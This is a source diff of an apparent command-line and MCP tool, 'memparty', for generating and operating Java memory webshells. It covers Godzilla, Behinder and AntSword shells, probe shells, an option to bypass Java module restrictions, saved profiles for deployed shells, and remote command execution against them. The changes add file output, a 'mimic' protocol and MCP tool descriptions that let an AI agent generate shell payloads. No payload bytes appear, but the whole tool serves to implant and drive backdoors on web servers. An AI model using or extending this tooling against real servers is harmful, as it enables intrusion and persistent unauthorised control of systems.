+ const next = () => {
3397
+ if (i < sseChunks.length) {
3398
+ res.write(`${sseChunks[i++]}
3399
+
3400
+ `);
3401
+ setTimeout(next, 25);
3402
+ } else {
3403
+ res.end();
3404
+ }
3405
+ };
3406
+ next();
3407
+ } else {
3408
+ res.end(body);
3409
+ }
3031
3410
  });
3032
3411
  });
3033
3412
  return;
@@ -3291,6 +3670,21 @@ function emitPayload(payload, opts, sinks = {}) {
3291
3670
  `);
3292
3671
  return { destination: "stdout", size: payload.length, decoded: false };
3293
3672
  }
3673
+ function hasMultiplePackResults(r) {
3674
+ return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
3675
+ }
3676
+ function emitSinglePackResult(r, opts, sinks = {}) {
3677
+ if (hasMultiplePackResults(r)) {
3678
+ const n = Object.keys(r.allPackResults).length;
3679
+ throw new Error(
3680
+ `the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
3681
+ );
3682
+ }
3683
+ if (r.packResult === void 0) {
3684
+ throw new Error("Server returned no packResult.");
3685
+ }
3686
+ return emitPayload(r.packResult, opts, sinks);
3687
+ }
3294
3688
 
3295
3689
  // src/core/request-builder.ts
3296
3690
  import { randomInt as randomInt3 } from "crypto";
@@ -3515,7 +3909,7 @@ function toOptions(o) {
3515
3909
  };
3516
3910
  }
3517
3911
  function registerGenCommand(program) {
3518
- program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
3912
+ program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
3519
3913
  "after",
3520
3914
  `
3521
3915
  Examples:
@@ -3531,8 +3925,9 @@ Examples:
3531
3925
  Note: run 'memparty config' to list the available servers, tools, shell
3532
3926
  types and packers. Some packers (e.g. Base64) are aggregate packers that
3533
3927
  return several variants at once \u2014 pick a leaf packer (e.g. DefaultBase64)
3534
- for a single payload. The --json output includes the gate header
3535
- (shellToolConfig) you need for 'memparty connect' / 'memparty exec'.
3928
+ for a single payload (-o refuses aggregate results). The --json output
3929
+ includes the gate header (shellToolConfig) you need for
3930
+ 'memparty connect' / 'memparty exec'.
3536
3931
  `
3537
3932
  ).action(async (opts, cmd) => {
3538
3933
  const client = createClient(cmd.optsWithGlobals());
@@ -3583,14 +3978,21 @@ for a single payload. The --json output includes the gate header
3583
3978
  meta: genMeta
3584
3979
  });
3585
3980
  if (opts.json) {
3586
- process.stdout.write(`${JSON.stringify(response, null, 2)}
3981
+ const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
3982
+ const doc = outputFile === void 0 ? response : { ...response, outputFile };
3983
+ process.stdout.write(`${JSON.stringify(doc, null, 2)}
3587
3984
  `);
3588
3985
  return;
3589
3986
  }
3590
3987
  const r = response.memShellResult;
3591
3988
  logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);
3592
3989
  logInfo(`injector class: ${r.injectorClassName} (${r.injectorSize} bytes)`);
3593
- if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
3990
+ if (hasMultiplePackResults(response)) {
3991
+ if (opts.output !== void 0) {
3992
+ throw new Error(
3993
+ `-o cannot write ${Object.keys(response.allPackResults).length} packer variants to one file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
3994
+ );
3995
+ }
3594
3996
  for (const [name, value] of Object.entries(response.allPackResults)) {
3595
3997
  logInfo(`
3596
3998
  === ${name} ===`);
@@ -3599,10 +4001,7 @@ for a single payload. The --json output includes the gate header
3599
4001
  }
3600
4002
  return;
3601
4003
  }
3602
- if (response.packResult === void 0) {
3603
- throw new Error("Server returned no packResult.");
3604
- }
3605
- const result = emitPayload(response.packResult, {
4004
+ const result = emitSinglePackResult(response, {
3606
4005
  outFile: opts.output,
3607
4006
  decode: opts.decode
3608
4007
  });
@@ -3780,7 +4179,10 @@ var memShellInput = {
3780
4179
  shellClassBase64: z.string().optional(),
3781
4180
  urlPattern: z.string().optional(),
3782
4181
  injectorClassName: z.string().optional(),
3783
- staticInitialize: z.boolean().optional()
4182
+ staticInitialize: z.boolean().optional(),
4183
+ outputFile: z.string().optional().describe(
4184
+ "also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
4185
+ )
3784
4186
  };
3785
4187
  var probeInput = {
3786
4188
  probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
@@ -3798,7 +4200,8 @@ var probeInput = {
3798
4200
  sleepServer: z.string().optional(),
3799
4201
  server: z.string().optional(),
3800
4202
  reqParamName: z.string().optional(),
3801
- commandTemplate: z.string().optional()
4203
+ commandTemplate: z.string().optional(),
4204
+ outputFile: memShellInput.outputFile
3802
4205
  };
3803
4206
  var connectInput = {
3804
4207
  name: z.string().optional().describe(
@@ -3926,7 +4329,11 @@ function createMcpServer(client) {
3926
4329
  );
3927
4330
  server.registerTool(
3928
4331
  "generate_memshell",
3929
- { title: "Generate memory shell", description: "Generate a Java memory shell payload", inputSchema: memShellInput },
4332
+ {
4333
+ title: "Generate memory shell",
4334
+ description: "Generate a Java memory shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
4335
+ inputSchema: memShellInput
4336
+ },
3930
4337
  async (args) => {
3931
4338
  const meta = {
3932
4339
  server: args.server,
@@ -3939,6 +4346,7 @@ function createMcpServer(client) {
3939
4346
  const started = Date.now();
3940
4347
  try {
3941
4348
  const response = await client.generateMemShell(buildMemShellRequest(args));
4349
+ const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
3942
4350
  logOp({
3943
4351
  category: "gen",
3944
4352
  action: "gen",
@@ -3947,7 +4355,7 @@ function createMcpServer(client) {
3947
4355
  detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
3948
4356
  meta
3949
4357
  });
3950
- return jsonContent(response);
4358
+ return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
3951
4359
  } catch (err) {
3952
4360
  logOp({
3953
4361
  category: "gen",
@@ -3963,7 +4371,11 @@ function createMcpServer(client) {
3963
4371
  );
3964
4372
  server.registerTool(
3965
4373
  "generate_probe",
3966
- { title: "Generate probe shell", description: "Generate a probe/detection shell payload", inputSchema: probeInput },
4374
+ {
4375
+ title: "Generate probe shell",
4376
+ description: "Generate a probe/detection shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
4377
+ inputSchema: probeInput
4378
+ },
3967
4379
  async (args) => {
3968
4380
  const meta = {
3969
4381
  probeMethod: args.probeMethod,
@@ -3974,6 +4386,7 @@ function createMcpServer(client) {
3974
4386
  const started = Date.now();
3975
4387
  try {
3976
4388
  const response = await client.generateProbe(buildProbeRequest(args));
4389
+ const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
3977
4390
  logOp({
3978
4391
  category: "probe",
3979
4392
  action: "probe",
@@ -3982,7 +4395,7 @@ function createMcpServer(client) {
3982
4395
  detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
3983
4396
  meta
3984
4397
  });
3985
- return jsonContent(response);
4398
+ return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
3986
4399
  } catch (err) {
3987
4400
  logOp({
3988
4401
  category: "probe",
@@ -4560,10 +4973,15 @@ async function runProbeWizard(client) {
4560
4973
  });
4561
4974
  opts.seconds = Number(await input2({ message: "Seconds", default: "5" }));
4562
4975
  break;
4563
- case "ResponseBody":
4976
+ case "ResponseBody": {
4977
+ let responseBodyServers = servers;
4978
+ try {
4979
+ responseBodyServers = await client.getProbeResponseBodyServers();
4980
+ } catch {
4981
+ }
4564
4982
  opts.server = await select2({
4565
4983
  message: "Server",
4566
- choices: servers.map((s) => ({ name: s, value: s }))
4984
+ choices: responseBodyServers.map((s) => ({ name: s, value: s }))
4567
4985
  });
4568
4986
  opts.reqParamName = await input2({ message: "Request param name", default: "cmd" });
4569
4987
  opts.commandTemplate = await input2({
@@ -4571,6 +4989,7 @@ async function runProbeWizard(client) {
4571
4989
  default: ""
4572
4990
  });
4573
4991
  break;
4992
+ }
4574
4993
  default:
4575
4994
  break;
4576
4995
  }
@@ -4621,7 +5040,7 @@ function toOptions2(o) {
4621
5040
  };
4622
5041
  }
4623
5042
  function registerProbeCommand(program) {
4624
- program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
5043
+ program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
4625
5044
  "after",
4626
5045
  `
4627
5046
  Examples:
@@ -4683,13 +5102,20 @@ The server name reported by '-c Server' is the value to pass as
4683
5102
  meta: probeMeta
4684
5103
  });
4685
5104
  if (opts.json) {
4686
- process.stdout.write(`${JSON.stringify(response, null, 2)}
5105
+ const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
5106
+ const doc = outputFile === void 0 ? response : { ...response, outputFile };
5107
+ process.stdout.write(`${JSON.stringify(doc, null, 2)}
4687
5108
  `);
4688
5109
  return;
4689
5110
  }
4690
5111
  const r = response.probeShellResult;
4691
5112
  logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);
4692
- if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
5113
+ if (hasMultiplePackResults(response)) {
5114
+ if (opts.output !== void 0) {
5115
+ throw new Error(
5116
+ `-o cannot write ${Object.keys(response.allPackResults).length} packer variants to one file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
5117
+ );
5118
+ }
4693
5119
  for (const [name, value] of Object.entries(response.allPackResults)) {
4694
5120
  logInfo(`
4695
5121
  === ${name} ===`);
@@ -4698,10 +5124,7 @@ The server name reported by '-c Server' is the value to pass as
4698
5124
  }
4699
5125
  return;
4700
5126
  }
4701
- if (response.packResult === void 0) {
4702
- throw new Error("Server returned no packResult.");
4703
- }
4704
- const result = emitPayload(response.packResult, {
5127
+ const result = emitSinglePackResult(response, {
4705
5128
  outFile: opts.output,
4706
5129
  decode: opts.decode
4707
5130
  });
@@ -4939,14 +5362,15 @@ function registerTargetCommand(program) {
4939
5362
  program.command("save").description(
4940
5363
  "Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
4941
5364
  ).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
4942
- new Option6("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
4943
- ).option("--pass <pass>", "password").option("--key <key>", "godzilla key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
5365
+ new Option6("-t, --tool <tool>", "shell tool").choices(protocolNames())
5366
+ ).option("--pass <pass>", "password").option("--key <key>", "godzilla / mimic key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name").option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
4944
5367
  "after",
4945
5368
  `
4946
5369
  Examples:
4947
5370
  $ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \\
4948
5371
  -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \\
4949
5372
  --remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
5373
+ $ memparty save lab/mimic1 -u http://192.0.2.1/mimic -t mimic --profile acme
4950
5374
  $ memparty list # show saved targets
4951
5375
  $ memparty exec web1/bh9060 --cmd "whoami"
4952
5376
 
@@ -4964,7 +5388,10 @@ save is for choosing the name by hand.
4964
5388
  return;
4965
5389
  }
4966
5390
  if (!opts.tool) {
4967
- process.stderr.write("Error: --tool is required (godzilla | behinder | suo5)\n");
5391
+ process.stderr.write(
5392
+ `Error: --tool is required (available: ${protocolNames().join(", ")})
5393
+ `
5394
+ );
4968
5395
  process.exitCode = 1;
4969
5396
  return;
4970
5397
  }
@@ -4979,6 +5406,7 @@ save is for choosing the name by hand.
4979
5406
  headerName: opts.headerName,
4980
5407
  headerValue: opts.headerValue,
4981
5408
  extraHeaders: parseExtraHeaders3(opts.header),
5409
+ profile: opts.profile,
4982
5410
  insecure: opts.insecure || void 0,
4983
5411
  remark: opts.shellRemark
4984
5412
  };